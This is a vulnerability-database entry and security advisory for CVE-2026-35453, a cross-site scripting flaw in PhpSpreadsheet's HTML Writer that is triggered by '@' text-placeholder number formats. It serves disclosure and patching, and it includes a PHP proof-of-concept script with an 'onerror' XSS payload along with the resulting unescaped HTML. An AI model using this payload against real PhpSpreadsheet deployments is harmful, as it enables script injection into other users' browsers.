CVE-2026-35453: phpoffice/phpspreadsheet · PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer
Affects phpoffice/phpspreadsheetSource GCVE Database
Not known to be exploited · CVSS 4.8 Medium : upgrade to 5.7.0 when convenient.
Data as of 27 Oct 2026, 00:07 UTC
- Patch
- Available – fixed in 5.7.0, 3.10.5, 2.4.5 +2
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 5 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade to a fixed release listed under Affected software.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
|
| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
|
| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
|
| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
|
| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary The HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ "items"` or `"Total: "@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file. ### Details #### 1. Conditional escaping in `Html.php:1586-1594` ```php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMAT_GENERAL, [$this, 'formatColor'] ); if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); } ``` `htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely. #### 2. Early return in `Formatter.php:136-152` ```php if (preg_match(self::SECTION_SPLIT, $format) === 0 && preg_match(self::SYMBOL_AT, $formatx) === 1) { if (!str_contains($format, '"')) { return str_replace('@', /* raw value */, $format); } return str_replace(/* ... preg_replace with raw value ... */); } ``` When the format code contains `@` with additional literal text (e.g., `@ "items"`), the formatter substitutes the raw cell value into the format string and **returns early** — the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked. ### PoC **test.php** ``` php <?php require '/app/vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); $payload = '<img src=x onerror=alert(document.domain)>'; $formatCode = '@ "items"'; $sheet->setCellValue('A1', $payload); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode); $writer = new Html($spreadsheet); $html = $writer->generateHTMLAll(); file_put_contents('/app/output.html', $html); echo "HTML output saved to /app/output.html\n"; ``` The produced output contains unescaped data. ``` html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" /> <title>Untitled Spreadsheet</title> <meta name="author" content="Unknown Creator" /> <meta name="title" content="Untitled Spreadsheet" /> <meta name="lastModifiedBy" content="Unknown Creator" /> <meta name="created" content="2026-04-02T16:34:44+00:00" /> <meta name="modified" content="2026-04-02T16:34:44+00:00" /> <style type="text/css"> [..SNIP..] </style> </head> <body> <div style='page: page0'> <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'> <col class="col0" /> <tbody> <tr class="row0"> <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td> </tr> </tbody></table> </div> </body> </html> ``` <img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" /> ### Impact The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.